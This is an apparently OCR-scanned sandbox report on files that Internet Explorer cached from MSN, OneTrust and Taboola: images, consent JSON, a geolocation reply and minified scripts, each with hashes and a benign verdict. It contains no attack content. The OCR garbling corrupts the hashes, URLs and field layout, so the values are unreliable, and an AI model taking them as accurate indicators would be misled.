Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3

Category: downloaded

Size (bytes): 12882

Entropy (8bit): 7.9397678652742085

Encrypted: false

SSDEEP: 192:BY41gSI84fdfVplLzUDs/t/XGnib92HkasINOFgNBE4GsIKF5qMNsLBI3:e6gSKTILzUDsilcHBhgDEd7LgXJI3

MD5: 145C1BEEF25469B4FA0136E8EE4135B5

SHAL: A29B19DA863A287BA014AEF53704ACB79E06D56C

SHA-256: E4FE5B4331C169B3F381066559670843AD7F1909EE667426556A6B070AF380F4

SHA-512: 456F4F08A2705A5392D2721F0CEC36E925C9EEBF7D8FA873DE4C160BD60C9775AA4D155C8E96E0372536DECD50FAA303E85C88976AFEOE94B2B94ACEE31806
8

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1epncl.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1lepncl[1].jpg

Preview:

ijstuvwxyz....
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1leqdDK][1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x250, frames 3
downloaded

11940

7.95327806984666

false
192:BbladKmrZG/MoOirJw7xFDgc707S6aA8npA2byPO6aMT7o0pFO8rwWP797KF1Xu:ZoomM/BlinDv07ijnpA21BKz8rwWIK7e
367B34724FAE4114147E342F7AE21755

AO057E6267C7534E4A8B3B3C36CBE178B5749195B
81BD59B2BACI9BBIF63AA110BE7808B1D484A2F040C73114929D66DFOF691B527
576579375B6C1C47E67C727C01E9898379CD3602D2665C4906F44DAEFC598E5COEC98C62A2BODE897614CFA57BE639A32F8D92B5CE103FBI7A9CBASA8309D9)
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1leqdDK.img?h=250&w=300&m=6&q=60&u=t&o=t&I=f&f=jpg

...... JFIF.... 0 Criiis e )100)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
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w &'()*56789:CDEFGHIJSTUVWXY Zcdefghijs
?..9...0....u(.4z.+.<:..LL9..b.[.hh....p..g.Rp.=2\VZ.."@A. .}*.. L leys Lt YGL2%. s
JHo PR m.<....@IIIP.$x....-.0....S..Y3q#6.4.7..U9.1..X..'"& W.[i..m.+..

tUvVWXyZ....
Do+l
.%.E.s..b.j..h. f..(%.\.AZ

Y\..31.1.)/.m>.y.ag@...4EL

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1leqdgz[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
downloaded

7886

7.938319576536137

false

192:BCQA2KTKwnlwP3tveOaAxrndbW7wYBy81:kQVLwWP3tvsvxdVYP

38ADF353228394AAA94BA42C9369C192

B93319A1E3C1D78EA976B124D010CE427DE14962
7E3130F1A5A920F06AEBF7623BD7D9B97970AB1A146567526168A873B486A376

48EBA871CB75E2900EE6BF2DDE9C73FD55862D99A21710123AFC222B2A6B9716AB1A50F3708019EDEAC2CFA49AFB7CDF71D743424D67EC154A0F060FCEQ24E
88

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1leqdgz.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg&x=596&y=338
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1leqpoc[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

8251

7.869618786807147

false

192:BYQymleX9A+SFyFejSDSoCPIH09wDgx1aj:eQkQIkFO4CPR0O9wDoaj

OBEBEEBDD990DEADCF82EC08A8D43173

CD8EB64C22DC6E401DDE4DAB28F791A5BF62D7E7
43B1230042COFCF3DABB6AB7BDC8FAAGF5B6C8A5684792D6A5559305D6EEAG17
O0AC7E1A38B55991C0AEE218529456E97E226A0E25E3302CCB5FBD6C7B666335B6D5019577B3B620D51394C6F75D8B7C2D755C65A03694911FF17CD32166A30CH
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBleqgpoc.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1leqpoc[1].jpg

Preview:

ijstuvwxyz.... &'()*56789:CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. WQ..4. |EX...&. ..W?.?Z[HON.T.a.b....fU...S........ QM.8P..;4.)@.b.....-.B.3m.Hm....y.......
f.H1.R.3..B.; JoiHAR"M'50L. X.NLb......LD.O.z.\.OX.....{.z..y:. _.NFL.c ...l....... xp.:\...M.....27...&p...U....... a.z..s1l4.f.7%..d..1..c..z..qg..u.,.aY.N.~?.C(a.R..
(..sL.._)10.6.......F..wN..m.C..:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB1kc8s[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 799

Entropy (8bit): 7.616735751178749

Encrypted: false

SSDEEP: 12:6v/7eel/l6FAU+ZPhOPNAgOydY9vYyfS1Y+0yGo0VtgzKkchqeGOrlkTR+aleXGyl:QGp+Zpajd4/ObGPngzKkcOSNGLT
MDS5: 2C55F358C8213245D8DE540D89B76EDO

SHA1L: 413A0EAO00DBB2A54C6A3933B8864E1847D795124

SHA-256: D11901D46370D97173C94754B69E90D7540FAF1F5C571C5E521E3A062FBFOA77

SHA-512: 0385C2FE61CFFF69EE6A85D13003B4729B93132007294DF3407DAABI7318157C421940D689E01B6CES360A57029393FEABI49A83647DF22D43DF5064E7B82DD0
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1kc8s.img?m=6&o=true&u=true&n=true&w=30&h=30

Preview:
PNG........ IHDR....c.covnn ;0......sRGB......... gAMA.....a....pHYs.......... 0.d...IDATHK .kZQ...W.Vc.-m,..&"...."."..b...%...E2...& R*..*...AO......d. e >04..~0.9..22.1C
J.bmmMR.V_.D......P(.j.*.Z-]..2..uV_...>.0.e.0..a.d21....[>.mh4.J..... g H. ...8>??0.20.Z.h4.N...r9...)....... >R.9...Kz.W.T....J.w.3fee..*a;
et X 20 WRING p...CJ.N.Y....I..)......d2.5..1.3d....\'s....6. ag5..ZRM..0.p....... 4.\2..6...).0 Xj.Ex.n....&Z.d.X.#V.b..|
[ & X...*8..w3..=.A..E.M.T..18..Q(....L6)..I........ h4.> .y .90 f+_# &0 HA <R.LLT.Y N Z.s.2...#Ajs....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB5zDwX[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 704

Entropy (8bit): 7.504963021970784

Encrypted: false

SSDEEP: 12:6v/78/kFf6XyxGOK8VW5npVrgzBpelZv5C2jcmQ2T3SmAIARgJI5:3+BK8VW5b8NpelZRXIMQ7iACY

MDS5: C7DBA01C92D1B9060E51F056B26122BC

SHA1L: 440F7FC2EEB0D3A74076C6709219F29A31893F86

SHA-256: 156AE4B3A7EF2591982271E4287B174CDC4COEE612060AD23E5469ED1148D977

SHA-512: 95EF6D3FAB8050C25CAB83DCFFA8F7D9647C71A60EEEC81A10AES5820EB52D65C009A7699A4A581BAES254685AA391404DFB3206EDAEDCBC38D7F0083D0F5DD8
c7

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB5zDwX.img?h=16&w=16&m=6&0=60&u=t&o=t&I=f&f=png

Preview:
PNG........ IHDR...coovviin a...sRGB......... gAMA.....a....pHYs.......... (J....UIDAT80.._HSa....6WQXZ..&Dtaz2........ *on X DLSL VDO HY n 2 v X X &
.Q....2.2&hmi.@w'"...*.h....=..n.Y.\.Y..Kg..h9.<.5.V...y. BAw...t....%..9....2....... k.gS..W}Ts...6_3....[..T......;.].]. XO.D\7...A=0.j/PF.we.(..K.1@.5........ @...1YJd.g...U..c/..(.

*.a..@Pe...n.z...05.... .COY ...Ly.H.. WFLES%..... L 0....2.+Q..yN.*K.LO....ML.H..e.l.ct|...fU... .70.J.2.0.... X.UG..RS ..;..p...6H...).t*....

B...Q...D<5.......$.x.$.1%F..D#A....S...A ....IEND.B".

[.nw.Z".~>j.d

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB7gRE[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 482

Entropy (8bit): 7.256101581196474

Encrypted: false

SSDEEP: 12:6v/78/kFLsiIHANE30WxYZOjNO/wpc433jHgbc:zLeO/wc433Cc

MDS5: 307888COF03ED874ED5C1D0988888311

SHA1L: D6FB271D70665455A0928A93D2ABDIDICOF4E309

SHA-256: D59C8ADBE1776B26EB3A85630198D841F1A1B813D02A6D458AF19E9AADO7B29F

SHA-512: 6856C3AA0849E585954C3C30B4C9CI92493F4E28E41D247C061264F1D1363C9D48DB2BIFAL319EA77204F55ADBD383EFEE7CF1DA97D5CBEAC27EC3EF36DEF!
8E

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7gRE.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

Preview:

(J....wIDAT80.RKN.O.J\....U...c-.. . 8.{$..2.@.... ... K...%)..
(m.*3. .L.p..,.c.>\<H.0.*...,w:.F.m...8c,.M........ E...... S..G.%.y.b...Ab.V.-}=.."m.O..L...g....]N.).w..\.v A u.. k..0.....R.....c..N...DN")x
LEh|wg..l........ @.$.2]....18.8).t.y. W.H.HW.8..B..."......... IEND.B".
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BBI9mKZ[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

545

7.319481666711111

false

12:6v/78/W/6T3ugnlh2ppl50x90SGBencVImfImPO:U/671h2pJWJIGBecOYG
35AB807913DD76237F320B94AA9A665E
CC741C888CBD3D79CB6A8A2CICODD7E898CFCF04
DD90963806AEDO0038191EF275421ACC18B08C8B6B5AAD71D47AA903C24BBDC2

B2B9787EA5C65C040B0A961D36EBDFI3DES7E1F93E5543BDCBC1BCBDCC790EF494ABDEE4AEFC8316CDB046801C2BD31C9939940015798BEY690535D85FECL
EEO

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBI9mKZ.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

PNG.....IHDR................ a...SRGB......... OAMA.....a...pHYS..oooviii. IDAT80..N.@....&..p...af O(.L,.<.l......1.& .$@Xp.0. K...|...].....m8.z.. LL.D ... #.Cj..A.. J.
C.Ce.2TU.coo (5. }=.. 0. Neo.=I6IP.LE.@.WG.E...G.%..9. AT X (XL X NCMLY.p2L...... V[.5M..F.. +btL..mp..g.I.....dR4..N..N.......O ... \..jY&..
_#[V.LBQ.U.7 a<...@>..1n.1.,...D.y?D..R.M$.....}..I...b..~.. }£..]G(.B".D&....2...:w......IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BBPfCZL[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 50 x 50

downloaded

2313

7.594679301225926

false
48:5Zvh21Zt5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333g+PagKk7X3Zgal9kMpRd
59DAB7927838DE6GA39856EED1495701B

AB0734C857BFF8FF159C1879A041C6EA2329A1FA
544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDESAD62AD462D57
7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BDOCEF8247B78E3674F0C26F499DAFCF9AF780710221259D2625DB8¢
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m=6&q=60&u=t&o=t&I=f&f=png

GIF89a2.2.....7..;..7..C...H..<.9....8..F.7.E.@..C..@..6..9..8..J..*2.G..>..?..A..6..>..8.....A.=.B.4.B..D..=. K.=.@..<...3~.B..D.....,|.4..2.6....J..;..G...FL.1}.4.R....
Y.E.>.9.5.X.A.2.P.J./|9....TH+Z... 3.Z.1.G..8..E...Hu..1.>..

T.aFs..C..8..0}....;.6..t.Ft.5.Bi...x...E..... e
. . Fo B w.|o..... X . 06 .
.3...9.(].d.C .wH.(."D...(D.....d.Y.....<.(PP.F...dL.@.&.28..$1S... *TP.....>.. L.IT.XL(.@a..IsgM..|..Jc(Q.*....... 2.:)y2.J.....\W,.ew2.l..1...C.....d...zeh....P.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\de-ch[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with no line terminators

downloaded

76785

5.343242780960818

false
768:0lAy9Xsiltnuy5zIux1whjCU7kIB1C54AYtiQzNEJEWICFPQtihPxVUYUEJOYAtF:olLEJxa4CmdiuWloltilwYm7B
DBACAF93F0795EB6276D58CC311C1E8F

4667F15EAB575E663D1E70COD14FE2163A84981D
51D30486C1FE33A38A654C31EDB529A36338FBDFA53D9F238DCCB24FF42F75AF

CFC1986EF5C82A9EA3DCD22460351DA10CF17BA6CDC1EE8014AAABE2A255C66BB840BOASCCO1EOEB42EGFESOECOE2514A679EA960C827D7C8CIF891E55908
87

false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/6f0cca92-2dda-4588-a757-
0e009f333603/de-ch.json

{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","cctld":"55a804ab-e5
c6-4b97-9319-86263d365d28","MainText":"lhre Privatsph.re","MainInfoText":"Wir verarbeiten lhre Daten, um Inhalte oder Anzeigen bereitzustellen, und analysieren die
Bereitstellung solcher Inhalte oder Anzeigen, um Erkenntnisse .ber unsere Website zu gewinnen. Wir geben diese Informationen auf der Grundlage einer Einwilligung und
eines berechtigten Interesses an unsere Partner weiter. Sie k.nnen lhr Recht auf Einwilligung oder Widerspruch gegen ein berechtigtes Interesse aus.ben, und zwar auf
der Grundlage eines der folgenden bestimmten Zwecke oder auf Partnerebene .ber den Link unter jedem Zweck. Diese Entscheidungen werden an unsere Anbieter, die
am Transparency and Consent Framework teilnehmen, signalisiert.”,"AboutText":"Weitere Informationen”,"AboutCookiesText":"Ihre Privatsph.re","ConfirmText":"Alle zulas
sen”,"AllowAll

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\e151e5[1].gif

Process:
File Type:
Category:

C:\Program Files (x86)\Internet Explorer\iexplore.exe
GIF image data, version 89a, 1 x 1

downloaded
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\e151e5[1].gif

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

43

3.122191481864228

false

3:CUTxIs/1h/:7IU/

F8614595FBA50D96389708A4135776E4

D456164972B508172CEE9D1CC06D1EA35CA15C21

7122DE322879A654121EA250AEAC94BD9993F914909F786C98988ADBD0A25D5D
299A7712B27C726C681E42A8246F8116205133DBE15D549F8419049DF3FCFDAB143E9A29212A2615F73E31A1EF34D1F6CEOEC093ECEADO37083FA40A075819D2
false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif

GIF89a. ! D..;

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\http___cdn.taboola.com_libtrc_static_thumbnails_7bb24775a0e25daf40ff701f
0e04fe9c[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
downloaded

11900

7.955977566986768

false
192:k4Ly4J+Rec+lzY6tAaXG/MfRP2Cr4glG3Gm4VXMYmEsFkNmRo0aiwOOkipVE/Yra:khdwXzZyUPXGmRTINELMkipVEgduXt
C207E88F9682BABA722AC0B56D5EF29D

56F73704BEA1C11C989D627B0F451A23D339B280
1E3586F7B9EBB8F13F6924C28C0761D80CFIB8FCF3EDC2EACS5FIECA40EBC34AA

S5F7E154ECEE2963A87839AFCC988DC567581F0BB5241E785864B7247F24FFAE60ABO0AC819FFOBB45DA143567D3E42990269ADBB7C1268C02CD5CD618BEE9D:
7

false

hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2F7bb24775a0e25daf40ff701f0e04fe9c.jpg

.C LS7/7SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS.

H...8....g.....<67...Ha.1.. .M }..[6....Y..e..0.Q.y.D.../p.1.

C 1*$..( ..%2%(,-/0/.#484.7*./
............. R..l..p.PB.".B .{!
; ..S.Zik_..glY.~=w..f.L.O..W..cx..0.."...,
3y.A5.u.0.90.. K *I'A VgLb.q..G.u9...{|."........... $.5.=.1Q....9...[....B ...7.nP6...1..[...w.
[}c....%(...5....,.IgS.E....C..A>r.>.K.55.Ks~...? k*R...}.ARJ. A _lLfo\kf..D" ... <..w.%9d..]B..IE/.v

.cT.

S....ci.{x.>M_B}>yvy.i QYbK..x..Za$..[.2..".O.W...\L....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\iab2Data[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with no line terminators

downloaded

230026

5.150044456837813

false
768:13JqIWtk5N1cfkCHGA5btLKWUUSKQIgmPTZ1j5sIbUkjsy Y AAA:I3JqIGk5Med5btLksSKKkPnjNjh4A
6AAAOF3074990A455B222A4D044E2346

6443AF82ED596527261B0F4367A67DD4D1BA855B
1232E273F047113AB950CC141FC73D50640D2352B2ED16B89A1BACO1AB0BEBEC

EDE13CDE1DDEB45CD038042DCC6C1F75664EC259BC44100EB9C36361CFB657A7A661901DFEAD44DF6CEC555406A221970DF10F562AE222226546B7EFCESEG
8D

false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/iab2Data.json

{"gvISpecificationVersion":2,"tcfPolicyVersion":2,"features":{"1":{"descriptionLegal":"Vendors can:\n* Combine data obtained offline with data collected online in support of
one or more Purposes or Special Purposes.”,"id":1,"name":"Match and combine offline data sources","description":"Data from offline data sources can be combined with y
our online activity in support of one or more purposes"},"2":{"descriptionLegal":"Vendors can:\n* Deterministically determine that two or more devices belong to the same
user or household\n* Probabilistically determine that two or more devices belong to the same user or household\n* Actively scan device characteristics for identification for
probabilistic identification if users have allowed vendors to actively scan device characteristics for identification (Special Feature 2)","id":2,"name":"Link different devices

" "description":"Different devices can be determined as belonging to you or your household in support of one or more of purposes."},"3"{"de

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\location[1].js

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files (x86)\Internet Explorer\iexplore.exe
ASCII text, with no line terminators

downloaded

182

4.685293041881485

false

3:LUfGC48HIHI2R40E9HQNPpKIfQ8I5CMNRMRUBX4RIiP22/90+apWyRHfHO:nCf4R5EIWpKWjvRMmhLP2saVO
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\location[1].js

MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C4F67A4EFC37372559CD375AA74454A3
2B7303240D7CBEF2B7B9F3D22D306CC04CBFBES6
C72856B40493BOC4A9FC25F80A10DFBF268B23B30A07D18AF4783017F54165DE

1EE4D2C1ED8044128DCDCDB97DC8680886ADOEC06C856F2449B67A6B0BOD7DEOASEA2BBAS4EB405AB129DD0247E605B68DC11CEBGAO74EGCF088A73948AF:
481

false

hitp://https://geolocation.onetrust.com/cookieconsentpub/vl/geo/location

jsonFeed({"country":"CH","state":"ZH","stateName":"Zurich","zipcode":"8152","timezone":"Europe/Zurich","latitude":"47.43000","longitude":"8.57180","city":"Zurich","contin
ent":"EU"});

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\otTCF-ie[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

downloaded

102879

5.311489377663803

false
768:0NKWTOmM7r8N1gpPVsjvB6z4Y|3RCjnugKtLEdT8XJORONTMC5GkkJOXcIGK58:8kunecpujSQRCjnrkKxJg0TMC5ZW8
52F29FAC6C1D2BOBAC8FESDOAA2F7ALS

D66C777DA4B6D1FEE86180B2B45A3954AE7EOAED
E497A9E7A9620236A9A67F77D2CDALCC9615F508A392ECCAS3F63D2C8283DCOE

DF33C49B063AEFD719B47F9335A4A7CE38FA391B2ADF5ACFDOC3FE891ASDOADDF1C3295E6FF44EEO8E729F96EO0DS26FFD773DC272E57C3B247696B79EE116¢
BA

false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/0tTCF-ie.js

Ifunction(){"use strict";var c="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function e(e){return e&&e.__
esModule&&Obiject.prototype.hasOwnProperty.call(e,"default”) ?e.default:e}function t(e,t){return e(t={exports:{}},t.exports),t.exports}unction n(e){return e&&e.Math==Math&
&el}function p(e){try{return!!e()}catch(e){return!0}}function E(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}function o(e){return w.call(e).slice(8,-
1)Hunction u(e){if(null==e)throw TypeError("Can't call method on "+e);return e}function I(e){return I(u(e))}function f(e){return"object"==typeof e?null!==e:"function"==typeof
elfunction i(e,t){if(!f(e))return e;var n,r;if(t&&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;if("function"==typeof(n=e.valueOf)&&!f(r=n.call(e)))return r;if(!t&
&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;throw TypeError("Can't convert object to primitive value")}function y(e,t){retur

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\41-0bee62-68ddb2ab[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

1238

5.066474690445609

false
24:HWwAaHZRRIYfOeXPmMHUKg6GGigllQCQ6cQflgKioUInJagzrQJ:HWwAabuYfO8HTqOxB6XfyNoUiJaD
7ADA9104CCDE3FDFB92233C8D389C582

4E5BA29703A7329EC3B63192DE30451272348E0D
F2945E416DDD2A188D0E64D44332F349B56C49AC13036B0B4FCI46A2EBF87D99

2967FBCE4E1C6A69058FDE4C3DC2E269557F7FAD71146F3CCD6FC9085A439B7D067D5D1F8BD2C7EC9124B7E760FBC7F25F30DF21F9B3F61D1443EC3C214E3F
F

false

define("meOffice",["jquery","jqBehavior","mediator","refreshModules","headData","webStorage","window"],function(n,t,i,r,u,f,e){function o(t,0){function v(n){var r=e.local
Storage,i,t,u;if(r&&r.deferLoadedltems)for(i=r.deferLoadedltems.split(","),t=0,u=i.length;t<u;t++)if (i[t] &&i[t].indexOf(n)!==-1){f.removeltem(i[t]);break}}function a(){var i=t.find
("section li time");i.each(function(){var t=new Date(n(this).attr("datetime"));t&&n(this).html(t.toLocaleString())})}unction p(){c=t.find("[data-module-id]").eq(0);c.length&&(h=c.
data("moduleld"),h&&(I="moduleRefreshed-"+h,i.sub(l,a)))}function y(){i.unsub(o.eventName,y);r(s).done(function(){a();p()})}var s,c,h,l;return u.signedin||(t.hasClass("of
fice")?v("meOffice"):t.hasClass("onenote")&&v("meOneNote")),{setup:function(){s=t.find("[data-module-deferred-hover], [data-module-deferred]").not("[data-sso-de
pendent]");s.length&&s.data("module-deferred-hover")&&s.html("<p class="meloading><\V/p>");i.sub(o.eventName,y)} teardown:function(){h&&i.un

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\58-acd805-185735b[1].css

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines

dropped

248287

5.297047810331843

false
3072:jaBMUzTAHEkm80OUdvUvbZkrix6pjp4tQH:ja+UzTAHLOUdvUZkrIx6pjp4tQH
AOAB539081F4353D0F375D2C81113BF3
8052F4711131B349AC5261304ED9101D1BAD1DOA
2B669B3829A6FF3B059BA82D520E6CBD635A3FBA31CDC7760664C9F2E1A154B0

6FA44FDCOFAE457A24AB2CEAB959945F1105CF32D73100EBE6FIF14733100B7AACDD7CA0992DE4FFA832A2CBCD06976F9D666F40545B92462CC101ECDB726€
E
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\58-acd805-185735b[1].css
Malicious: false

Preview:
@charset "UTF-8";div.adcontainer iframe[width="1'}{display:none}span.nativead{font-weight:600;font-size:1.1rem;line-height:1.364}div:not(.ip) span.nativead{color:#333}.to
daymodule .smalla span.nativead,.todaystripe .smalla span.nativead{bottom:2rem;display:block;position:absolute}.todaymodule .smalla a.nativead .title,.todaystripe .smalla
a.nativead .title{max-height:4.7rem}.todaymodule .smalla a.nativead .caption,.todaystripe .smalla a.nativead .caption{padding:0;position:relative;margin-left:11.2rem}.to
daymodule .mediuma span.nativead,.todaystripe .mediuma span.nativead{bottom:1.3rem}.ip a.nativead span:not(.title):not(.adslabel),.mip a.nativead span:not(_titl
e):not(.adslabel){display:block;vertical-align:top;color:#a0a0a0}.ip a.nativead .caption span.nativead,.mip a.nativead .caption span.nativead{display:block;margin:.9rem 0
.1lrem}.ip a.nativead .caption span.sourcename,.mip a.nativead .caption span.sourcename{margin:.5rem 0 .1rem;max-width:100%}.todaymodule.mediuminfopanehero .ip_

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AAuTnto[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 801

Entropy (8bit): 7.591962750491311

Encrypted: false

SSDEEP: 24:U/6yrupdmd6hHb/XvxQfxnSc9gjo2EX9TMOH:U/6yruzFDX60DBY+m

MDS5: BB8DFFDEBED5C13A132E4BD04827F90B

SHA1L: F86D85A9866664FC1B355F2EC5D6FCB54404663A

SHA-256: D2AAD0826D78F031D528725FDFC71C1DBAA21B7E3CCEEAA4E7TEEFA7TAADA04B26
